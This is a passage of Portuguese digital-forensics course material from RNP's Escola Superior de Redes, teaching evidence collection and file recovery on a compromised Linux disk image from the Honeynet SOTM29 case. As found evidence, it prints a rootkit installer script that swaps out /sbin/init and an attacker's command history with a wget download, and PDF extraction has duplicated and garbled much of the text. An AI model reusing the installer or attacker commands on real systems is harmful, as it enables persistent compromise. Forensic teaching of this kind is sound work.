Atividade 2 – Uso do Sleuth Kit 1. Utilizando as ferramentas do Sleuth Kit, recupere todos os arquivos removidos da imagem disponível em /data/dev_sda2_root.img. Primeiramente é preciso encontrar esses arquivos, e depois recuperá-los. Faça um relatório com as ferramentas e os passos utilizados para a realização dessa tarefa. Compare também os arquivos recuperados com os arquivos existentes no Live CD do Helix. 2. Junto com um colega, encontre e recupere os arquivos presentes na imagem /data/dev_sda2_root.img que contém o texto “know what to do with”. Isso deve ser feito sem montar a imagem, apenas utilizando as ferramentas do Sleuth Kit. Faça um relatório com os passos e ferramentas necessárias, e discuta com seus colegas as técnicas que poderiam ser utilizadas caso você tivesse acesso ao dispositivo montado, isto é, se fosse possível montar o dispositivo original em um diretório e você tivesse acesso direto aos arquivos, que técnicas poderiam ser utilizadas para realizar a tarefa? Discuta o resultado com outros grupos.
Análise forense – Sessão de aprendizagem 3
4 Sessão de aprendizagem 4 Coleta de evidências Sumário da sessão Coleta de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Sistema comprometido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Tipos de evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 Armazenagem de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 Técnicas de coleta. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 Arquivos de logs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 Arquivos de inicialização do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 Arquivos de histórico de comandos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 Checando arquivos importantes do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 Atividade 1 – Coletando evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84
72
Escola Superior de Redes RNP
Coleta de evidências
Coleta de evidências A análise forense de mídias tem o objetivo de recuperar evidências que comprovem a invasão do computador analisado. O investigador deve ser imparcial em seu julgamento e na coleta de provas. O processo de coleta de evidências é demorado e varia de caso para caso. Vamos nos concentrar em conhecer as evidências importantes e a forma de recuperá-las do disco, para depois analisá-las e tentar montar uma linha de tempo do ataque.
É importante tentar recuperar qualquer programa ou arquivo de dados instalado ou utilizado pelo invasor. A intenção da análise forense não é comprovar a culpa de alguém. O investigador deve ser imparcial em seu julgamento e na coleta de provas. Em alguns casos, é tão importante comprovar a inocência quanto a culpa de alguém.
Em alguns casos específicos, será necessária uma análise mais avançada de alguma evidência. Por exemplo, realizar a engenharia reversa de algum executável suspeito encontrado na máquina comprometida.
Sistema comprometido
Sistema comprometido Utilizaremos um modelo virtual de um sistema comprometido, utilizado no “Scan Of The Month 29” do projeto Honeynet. Esta máquina virtual foi parada em um momento específico após a invasão, para que fosse possível analisar o sistema como se estivesse utilizando a máquina. Como esta máquina virtual é antiga, as versões mais novas do VMWare não conseguem mais abri-la. Por isso, vamos utilizar uma outra máquina virtual, configurada para usar o disco da máquina antiga. Dessa forma, poderemos acessar o disco com um Live CD do Helix, e capturar uma imagem do disco. É essa imagem que vamos analisar nas próximas sessões.
No material do aluno existe uma máquina virtual chamada “Linux”, que pode ser utilizada para testar o procedimento de coleta da imagem do disco do sistema comprometido. Além disso, a máquina virtual original do “Scan of the Month 29” está disponível, e chama-se “linux-suspended.tgz”.
Esta máquina virtual do SOTM29 foi utilizada como exemplo no trabalho de certificação para o SANS de um técnico da RNP, Jacomo D. B. Piccolini. Este trabalho ilustra muito bem o modo de realizar a análise forense em um sistema vivo. Como a quantidade de evidências encontradas nessa máquina é muito grande, não iremos procurar exaustivamente por elas. Nos exercícios que veremos ao longo da sessão, mostraremos alguns exemplos de evidências que podem ser encontradas, embora fique a cargo do aluno pesquisar o resultado dos exemplos e tentar identificar mais evidências.
Tipos de evidências Qualquer tipo de informação encontrada na máquina suspeita pode ser considerado uma evidência. Arquivos de logs Arquivos apagados Históricos de comandos Binários comprometidos Arquivos em diretórios suspeitos Arquivos abertos no momento da coleta inicial de evidências Dados importantes que possam ter sido comprometidos Datas de acesso, de modificação e de criação de arquivos
Análise forense – Sessão de aprendizagem 4
Tipos de evidências
73
Primeiros passos Esta é a imagem da tela do sistema após ter sido comprometido e antes de ser parado para análise. Note a presença de informações importantes, como o sistema operacional utilizado, a data em que o sistema foi parado e as mensagens que aparecem na imagem, como por exemplo as mensagens informando que a interface de rede entrou em modo promíscuo.
Um bom ponto de partida são as informações coletadas durante o momento da captura do computador comprometido.
Uma informação que queremos manter são os timestamps de escrita e montagem do disco. Se montarmos a imagem sem a preocupação de proteger as evidências, elas serão perdidas e isto pode prejudicar a investigação. Entretanto, ao executar este comando percebemos que ocorre um erro e a imagem não é montada. Aparentemente, o processo de desligar a máquina sem desligar o sistema operacional corretamente acabou prejudicando a estrutura do disco. Este tipo de situação pode ocorrer com freqüência em uma investigação, onde o investigador tem que escolher entre prejudicar uma evidência ou ter acesso a mais evidências.
Primeiros passos Para começar a procurar por evidências na imagem do disco comprometido, será necessário ter acesso ao sistema de arquivos dessa imagem. É importante sempre manter a integridade de todas as evidências. # mkdir /mnt/image
O que precisamos fazer agora é arrumar a imagem do dispositivo. Existem duas maneiras de fazer isso: utilizando o comando fsck para fixar os problemas do disco ou simplesmente montando a imagem em modo de leitura e escrita.
# mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image –o ro,loop,noatime,nodev,noexec –t ext2 # fsstat /data/compromised/compromised_hda1.img | less FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug
9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug
9 15:34:26 2003
Antes de tentar recuperar o acesso a imagem, precisamos salvar as informações que serão perdidas. Quando montamos um dispositivo, o kernel do sistema operacional atualiza os tempos de última escrita e de última data de montagem do mesmo. Precisamos salvar essas informações antes de prosseguir. Lembre-se de que temos uma ferramenta que pode ser muito útil, o fsstat.
# fsstat /data/compromised/compromised_hda1.img | less8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug 9 15:34:26 2003 Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug 9 15:34:26 2003 Unmounted properly Last mounted on: Source OS: Linux Dynamic Structure Compat Features: Journal, InCompat Features: Filetype, Needs Recovery, Read Only Compat Features: Sparse Super,
Coleta de evidências
74
Escola Superior de Redes RNP CONTENT INFORMATION -------------------------------------------Block Range: 0 - 235515 Block Size: 4096 Free Blocks: 144419
Temos algumas informações importantes no resultado acima. Primeiramente, vemos as datas de modificação da imagem. Podemos ver que a data em que o dispositivo foi escrito pela última vez é igual à data em que ele foi montado pela última vez. Como esta era a raiz do sistema, esta data de modificação pode indicar a data em que o sistema foi ligado pela última vez. Se compararmos com a data mostrada na foto do monitor da máquina, vemos que ela foi provavelmente ligada às 15:34:26 do dia 9 de agosto de 2003, e o sistema foi desligado para coleta do disco em 10 de agosto de 2003, às 20:30:39, ou seja, no dia seguinte. Estas datas são importantes para delimitar o período em que o invasor poderia ter tido acesso à máquina. Podemos ver também na saída do comando que o tamanho do bloco de dados é de 4096 bytes. Vamos utilizar essa informação posteriormente com as ferramentas do Sleuth Kit. # mkdir /mnt/image8 # mount /data/compromised/compromised_hda1.img /mnt/image –o ro,loop,noatime, nodev,noexec –t ext28 # fsstat /data/compromised/compromised_hda1.img | less8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug 9 15:34:26 2003 Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug 9 15:34:26 2003
No primeiro exemplo, realizamos uma procura por arquivos modificados a partir de uma data determinada.
Primeiros passos Algumas ferramentas do sistema podem ser usadas na investigação, e muitas vezes são essenciais para o trabalho. A coleta de evidências é um processo cíclico. Cada evidência encontrada leva a novas pistas e o processo deve ser reiniciado com as novas informações. # find /mnt/image –atime 1825 –or –mtime 1825
O segundo mostra como procurar por arquivos alterados a partir da data de modificação de um arquivo qualquer, para descobrir modificações e acessos posteriores.
# find /mnt/image/ -anewer /mnt/image/bin/date –ls # find /mnt/image/dev/ -not -type c –and -not -type b –ls # file /mnt/image/dev/ttyop # strings /mnt/image/dev/ttyop
O terceiro mostra como procurar por tipos específicos de arquivos. Os dois últimos comandos mostram como identificar o conteúdo de um arquivo e visualizá-lo de forma segura.
# find /mnt/image –atime 1825 –or –mtime 18258 # find /mnt/image/ -anewer /mnt/image/bin/date –ls8
Análise forense – Sessão de aprendizagem 4
75
# find /mnt/image/dev/ -not -type c –and -not -type b –ls8 # file /mnt/image/dev/ttyop8 # strings /mnt/image/dev/ttyop8
Armazenagem de evidências Armazenar evidências de forma segura e padronizada: Garante a integridade das mesmas. Permite recuperar e correlacionar de forma fácil as evidências. Mantém a cadeia de custódia das evidências, permitindo o controle do acesso a elas. O local de armazenagem deve ser seguro e ter acesso controlado.
Armazenagem de evidências tag#
20080118-1750-txt-0001
Tipo
Arquivo de texto
Nome
/mnt/image/dev/ttyop
SHA1 hash
2a7badc291e94f3dcb621c0b7abf100eb0ad88cd
Tamanho
74 bytes
Data
2002/03/18
Descrição
Arquivo com nomes de processos/arquivos
Observações
Relacionado com evidências 20040907-1750txt-0002 e 20040907-1750-txt-0003
Armazenagem de evidências tag# Tipo Nome SHA1 hash Tamanho Data Descrição
20080118-1750-txt-0002 Arquivo de texto /mnt/image/dev/ttyoa fe3b2e77710875617dee295e1f880b 9fcc4d9300 134 bytes 2002/09/04 Arquivo com endereços de rede/portas
Observações
Coleta de evidências
Armazenagem de evidências É necessário manter uma cadeia de custódia das evidências encontradas. Para isso, precisamos identificar e armazenar cada evidência de forma segura e de modo que seja possível identificar rapidamente a procedência de cada uma. Para isso, vamos usar um sistema de fichas para cada evidência encontrada. Veja os detalhes que guardamos em cada ficha. O primeiro campo é uma tag única de identificação, para podermos referenciar cada evidência posteriormente. É interessante criar essa tag com referência à data e hora em que ela foi encontrada, ou a data e hora de criação do arquivo. Temos também informações sobre o arquivo em si. Nome, tipo do arquivo, tamanho e data de criação, uma descrição do que é o arquivo e o hash SHA1 do mesmo. Com isso, teremos informações suficientes para identificar e referenciar o arquivo em um relatório, bem como garantir que o arquivo estará tão íntegro como no momento em que foi encontrado.
76
Escola Superior de Redes RNP
Técnicas de coleta
Técnicas de coleta Utilizar inicialmente as ferramentas do sistema para encontrar pistas valiosas. # find /mnt/image -name .\*
Os exemplos de comandos mostram diversas formas de procurar por evidências em disco: # find /mnt/image -name .\*8
# find /mnt/image –name “[ ]*.*” # strings -a -n4 /data/compromised/compromised_hda1.img # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}” /data/compromised/compromised_hda1.img.str # grep -i “ttyoa” /data/compromised/compromised_hda1.img.str
# find /mnt/image –name “[ ]*.*”8 # strings -a -n4 /data/compromised/compromised_hda1 .img8
# grep “tar\.gz” /data/compromised/compromised_hda1.img.str
# grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9 ]{1,3}” /data/compromised/compromised_hda1.img.str8
# grep -f /data/dirt_list.txt /data/compromised/compromised_hda1.img.str
# grep -i “ttyoa” /data/compromised/compromised_hda 1.img.str8 # grep “tar\.gz” /data/compromised/compromised_ hda1.img.str8 # grep -f /data/dirt_list.txt /data/compromised/ compromised_hda1.img.str8 \\O
primeiro exemplo de comando procura por arquivos que comecem com um ponto, que no Linux correspondem a arquivos escondidos (atributos hidden, como no DOS). Eles podem ser importantes para encontrar arquivos que normalmente não são mostrados em um ls –l.
\\O
segundo exemplo de comando procura por arquivos que tenham um nome com um ou mais espaços. Estes arquivos são difíceis de encontrar se fizermos uma listagem em um diretório com muitos arquivos.
\\O
terceiro exemplo de comando extrai da imagem do dispositivo todas as strings com mais de 4 caracteres.
\\O
quarto comando mostra como procurar por endereços IP no arquivo de strings.
\\O
comando seguinte mostra um exemplo de arquivo suspeito, e o modo como procurar na imagem por referências a este arquivo.
\\O
penúltimo exemplo mostra como procurar por referências a arquivos compactados na imagem, importante para descobrir pacotes de ferramentas instaladas pelo hacker.
\\O
último exemplo mostra como utilizar uma dirt list para realizar uma procura na imagem por palavras-chave.
Análise forense – Sessão de aprendizagem 4
77
# ls –la /mnt/image/var/log8
Técnicas de coleta
# more /mnt/image/var/log/boot.log8
Analisar os arquivos de sistema, logs, binários, inicialização e históricos de comandos. Verificar dados importantes armazenados em disco. # ls –la /mnt/image/var/log # more /mnt/image/var/log/boot.log # more /mnt/image/var/log/secure # more /mnt/image/var/log/maillog # find /mnt/image -name \*.log
# more /mnt/image/var/log/secure8 # more /mnt/image/var/log/maillog8 # find /mnt/image -name \*.log8 # more /mnt/image/etc/opt/psybnc/log/psybnc.log8 # cat /mnt/image/usr/lib/libice.log8
# more /mnt/image/etc/opt/psybnc/log/psybnc.log # cat /mnt/image/usr/lib/libice.log
Os arquivos de log são importantes, pois contêm informações de tempo sobre os eventos ocorridos na máquina, podendo ser relacionados a fontes externas como logs de roteadores e firewalls. No entanto, é importante não confiar somente no log.
Nos exemplos, diversos arquivos de log de interesse para a investigação e o modo de procurar por mais logs no sistema. Também podemos ver alguns arquivos de log abandonados pelo hacker. Algumas vezes, a invasão é feita apenas para comprometer códigos-fonte ou banco de dados armazenados na máquina.
Arquivos de logs
Arquivos de logs A análise de arquivos de logs é um passo importante na análise forense, embora nunca se deva confiar totalmente em um log. Às vezes, até mesmo a falta de alguma informação em um log pode ser uma evidência importante. O investigador deve procurar todos os arquivos de logs armazenados em disco. É importante tentar correlacionar os logs com outros eventos: data de criação/acesso/remoção de arquivos, outros logs, eventos capturados em dispositivos de rede etc.
A análise de arquivos de logs é um passo importante na análise forense, embora nunca se deva confiar totalmente em um log. Às vezes, até mesmo a falta de alguma informação em um log pode ser uma evidência importante. O investigador deve procurar todos os arquivos de logs armazenados em disco. É importante tentar correlacionar os logs com outros eventos: data de criação/acesso/remoção de arquivos, outros logs, eventos capturados em dispositivos de rede etc.
O investigador deve procurar todas as informações pertinentes que estejam relacionadas a uma evidência, e lembrar de correlacionar eventos nos logs com evidências encontradas anteriormente. Sempre que encontrar novas evidências, deve retomar o processo de procura de evidências utilizando as novas informações encontradas.
Coleta de evidências
78
Escola Superior de Redes RNP Logs de e-mail podem fornecer boas pistas:
Arquivos de logs
# more maillog8
Logs de e-mail podem fornecer boas pistas
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04 763:
[email protected], ctladdr=apache (48/48 ), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, p ri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], d Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300:
[email protected], sn=2.0.0, stat=Sent (ok dirdel) ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn2 Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321:
[email protected], ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, 3300:
[email protected], ctladdr=apache (4 relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. 8/48), delay=00:07:10, xdelay=00:07:10, mailer=esmt Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: p, pri=30043, relay=mx4.mail.yahoo.com. [216.136.12
[email protected], ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, 9.6], dsn=2.0.0, stat=Sent (ok dirdel) stat=Service unavailable Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC2 Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service unavailable 3321:
[email protected], ctladdr=apache Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321:
[email protected], (48/48), delay=00:12:00, xdelay=00:12:00, mailer=es ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel) mtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136. 129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@y ahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pr i=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service una vailable Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Ser vice unavailable Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo. com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri =120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dir del)
# more maillog
Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763:
[email protected], ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)
Neste exemplo de log observamos diversas evidências sobre a invasão do sistema: o arquivo de log de envio de e-mail e diversos e-mails enviados para usuários externos. Além dos endereços externos de e-mail, que podem ser uma indicação de pista do invasor da máquina, temos também a informação do usuário local que enviou o e-mail. Repare que nos primeiros casos, temos o usuário “apache” com “UID 48” enviando o e-mail, e a seguir temos o usuário “root” com “UID 0” enviando e-mail, o que pode ser uma indicação do momento em que ocorreu a invasão e o comprometimento do sistema, com a obtenção do acesso de super usuário pelo invasor. Constatamos também que possivelmente o ataque ocorreu através do serviço HTTP.
Arquivos de inicialização do sistema Ao invadir uma máquina, o atacante tenta garantir o controle do sistema através da instalação de rootkits ou ferramentas de backdoor. Para isso, será necessário modificar os arquivos de inicialização da máquina, ou então substituir executáveis do sistema por versões comprometidas com backdoors. Os arquivos utilizados variam dependendo do tipo de sistema que estiver sendo utilizado.
Análise forense – Sessão de aprendizagem 4
Arquivos de inicialização do sistema Normalmente, ao invadir uma máquina o atacante tenta garantir o controle do sistema através da instalação de rootkits ou ferramentas de backdoor. Para isso, será necessário modificar os arquivos de inicialização da máquina, ou então substituir executáveis do sistema por versões comprometidas com backdoors. Os arquivos utilizados variam dependendo do tipo de sistema que estiver sendo utilizado; normalmente são nomeados /etc/rc.* ou /etc/rc.d/*. Dois arquivos normalmente utilizados:
79
\\rc.sysinit
(/etc/rc em distribuições Debian)
\\/etc/rc.local
Muitas vezes, arquivos de inicialização podem conter comandos para controlar o sistema após reiniciar a máquina, fornecendo pistas de onde procurar por mais evidências. No exemplo, encontramos o arquivo de instalação de um rootkit: # find /mnt/image/ -name inst8 /mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst8 /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst8 #!/bin/bash D=”/lib/.x” H=”13996” mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e “\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17 0\ ... \313\233\330\157\000\000” | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo Have phun! # find /mnt/image/ -name inst8
Arquivos de inicialização do sistema No exemplo, encontramos o arquivo de instalação de um rootkit # find /mnt/image/ -name inst /mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst #!/bin/bash D="/lib/.x" H="13996" mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\ ... \313\233\330\157\000\000" | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo Have phun!
Coleta de evidências
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst8 /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst8 #!/bin/bash D=”/lib/.x” H=”13996” mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e “\037\213\010\010\114\115\016\076\002\00 3\163\153\000\355\175\177\170\ ... \313\233\330\157\000\000” | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to ins tall echo Have phun!
80
Escola Superior de Redes RNP
Arquivos de histórico de comandos Uma das primeiras providências tomadas por um invasor ao adquirir o controle de uma máquina é tentar apagar seus rastros. A maioria dos invasores não têm um conhecimento profundo do sistema. Os históricos de comandos são criados pelo shell e geralmente armazenados em arquivo no fim da sessão. Muitos invasores esquecem desse detalhe. Alguns invasores costumam remover o histórico de comandos e redirecionar o arquivo para o dispositivo /dev/null
Arquivos de histórico de comandos Uma das primeiras providências tomadas por um invasor ao adquirir o controle de uma máquina é tentar apagar seus rastros. Por isso, muitas vezes os arquivos de logs ou de histórico de comandos são apagados. A maioria dos invasores não têm um conhecimento profundo do sistema, e geralmente não conseguem remover todos os seus rastros. Os históricos de comandos são criados pelo shell e geralmente armazenados em arquivo no fim da sessão. Muitos invasores esquecem desse detalhe.
Alguns invasores costumam remover o histórico de comandos e redirecionar o arquivo para o dispositivo /dev/null. Outra forma de procurar por históricos de comandos é tentar encontrá-los no arquivo de strings extraídas da imagem. Abaixo observamos alguns exemplos de como procurar por arquivos de históricos de comandos no sistema, e também o modo como eles podem conter informações interessantes sobre as atividades do atacante. Os dados coletados aqui podem ser úteis para procurar novamente por arquivos suspeitos na máquina, através dos comandos estudados até agora. # find /mnt/image/ -name .*history -ls8 47172 0 lrwxrwxrwx 1 root root 9 Aug 10 2003 /mnt/image/root/.bash_history -> / dev/null 3188 4 -rw------- 1 root root 235 Aug 10 2003 /mnt/image/.bash_history # file /mnt/image/.bash_history8 amore/mnt/image/.bash_history: ASCII text # cat /mnt/image/.bash_history8 id uptime ./inst hostname hostname sbm79.dtc.apu.edu cd /dev/shm/sc ./install sbm79.dtc.apu.edu rm -rf /var/mail/root ps x cd /tmp ls -a wget izolam.net/sslstop.tar.gz ps x ps aux | grep apache kill -9 21510 21511 23289 23292 23302 # grep izolam.net /data/compromised/compromised_hda1.img.str8
Análise forense – Sessão de aprendizagem 4
81
Checando arquivos importantes do sistema O processo de procurar evidências manualmente pode ser muito demorado e cansativo. Nestes casos, pode ser mais eficiente utilizar algumas ferramentas para facilitar essa pesquisa. Chkrootkit e um antivírus são um bom auxílio ao investigador. Estas ferramentas podem nos auxiliar a confirmar informações que havíamos encontrado anteriormente, bem como detectar novas evidências da invasão. Um antivírus pode nos ajudar a encontrar evidências mais difíceis de detectar pelas técnicas normais.
Checando arquivos importantes do sistema Prática: Apenas como exercício, execute o comando abaixo e veja se acha algo interessante: # find /mnt/image/ -anewer /mnt/image/dev/hdx1
-ls | less
Lembra o que o comando acima faz? Anote os arquivos de interesse e inclua-os na lista de evidências.
Conclusões Vimos nesta sessão o que são evidências e como tratá-las e armazená-las de maneira a garantir a integridade e a cadeia de custódia das mesmas. Aprendemos a encontrar evidências utilizando ferramentas básicas disponíveis em qualquer distribuição Linux. Ainda existem muitas evidências presentes na imagem analisada nesta sessão. A análise forense é um processo cíclico, demorado e sujeito a erros. É importante tentar correlacionar evidências para garantir a validade das informações coletadas.
Coleta de evidências
Checando arquivos importantes do sistema Chkrootkit e ClamAV, disponíveis no CD do Helix, podem ser ferramentas importantes para o investigador encontrar arquivos suspeitos na máquina comprometida. Por exemplo, o ClamAV encontrou no sistema a presença de um vírus para Linux chamado Linux/ RST.b, que infecta arquivos no diretório corrente e no /bin. Ele também abre um backdoor na máquina que pode ser acessado através do protocolo EGP. Este vírus foi instalado quando o invasor executou uma das ferramentas baixadas após invadir a máquina, o que mostra que muitas vezes o invasor não tem noção do que está instalando na máquina, e que ela pode ficar vulnerável não apenas ao invasor original, mas a outros que tenham acesso a esses backdoors. O arquivo /dev/hdx1 foi criado na instalação do vírus RST.B no sistema. Ele indica que o usuário que executou a ferramenta infectada estava com permissão de super usuário no momento. O comando acima procura pelos arquivos modificados ou acessados após a criação desse arquivo, e a listagem contém diversos arquivos instalados pelo hacker, ferramentas utilizadas em ataque, modificações em arquivos do sistema, entre outras informações importantes.
Conclusões Na próxima sessão veremos as ferramentas e técnicas para recuperação completa ou parcial de evidências removidas do disco. Veremos também algumas técnicas para análise de arquivos suspeitos encontrados. Apesar desta ser a parte mais demorada do processo, veremos que as técnicas são simples e de fácil execução.
Escola Superior de Redes RNP
Análise forense – Sessão de aprendizagem 4
82
4 Sessão de aprendizagem 4 Coleta de evidências Roteiro de atividades Tópicos e conceitos \\A
análise forense de mídias tem o objetivo de recuperar evidências que comprovem a invasão do computador analisado.
Competências técnicas desenvolvidas \\Coletar
evidências de um sistema comprometido.
Outras competências desenvolvidas \\Capacidade
de investigação e pesquisa do aluno.
Tempo previsto para as atividades \\90-110
minutos
Escola Superior de Redes RNP
84
Atividade 1 – Coletando evidências 1. Juntamente com um colega, utilize as técnicas aprendidas para procurar por mais evidências no disco. Veja quais evidências consegue encontrar além das que já foram vistas. Use como base os comandos estudados durante a sessão, para encontrar evidências além das comentadas no texto. 2. Crie fichas de evidência para os arquivos de log encontrados. Procure pelos outros arquivos comentados no texto teórico e que não foram encontrados. Crie as respectivas fichas de identificação, e também as fichas de identificação para os arquivos encontrados no exercício anterior.
Análise forense – Sessão de aprendizagem 4
5 Sessão de aprendizagem 5 Recuperação e análise de evidências Sumário da sessão Recuperação e análise de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 Estrutura do sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 Recuperação de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 Recuperação de arquivos sobrescritos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89 Recuperação de arquivos journaling. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 Atividade 1 – Rastreando eventos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 Atividade 2 – Buscando ferramentas na internet. . . . . . . . . . . . . . . . . . . . . . . . 98
86
Escola Superior de Redes RNP
Recuperação e análise de evidências O processo de procurar evidências é cíclico, e o analista deve continuar procurando enquanto necessitar de evidências para comprovar a invasão e encontrar o responsável. As ferramentas vistas até agora são úteis apenas para procurar arquivos que ainda estejam disponíveis no sistema de arquivos. O que fazer, então, quando os arquivos foram apagados?
Recuperação e análise de evidências As técnicas e ferramentas que veremos a seguir se aplicam a praticamente qualquer sistema de arquivos Unix e Windows que não utilizem journaling. Neste caso, precisamos utilizar uma ferramenta específica para cada caso. Nesta sessão estudaremos como recuperar arquivos em um sistema Ext3 (third extended file system), o padrão de sistema de arquivos do Linux. Um invasor costuma apagar seus rastros quando percebe que está sendo monitorado ou correndo o risco de ser encontrado
Recuperação e análise de evidências Invasores costumam apagar seus rastros quando percebem que estão sendo monitorados. É necessário utilizar ferramentas para recuperar arquivos apagados. A principal dificuldade para recuperar arquivos apagados é o fato de que os dados podem ter sido sobrescritos. Versões mais novas de alguns sistemas operacionais utilizam journaling file systems. Estes sistemas de arquivo têm um registro de todas as atividades realizadas no disco.
Estrutura do sistema de arquivos O sistema de arquivos do Linux é conhecido como Extended Filesystem (Ext) Existem dois padrões: Ext2 e Ext3 A principal estrutura do Ext2 é chamada de superblock O bloco de disco é a menor estrutura de armazenamento no sistema de arquivos, utilizado para armazenar o conteúdo dos arquivos O inode é a estrutura que armazena as informações sobre cada arquivo
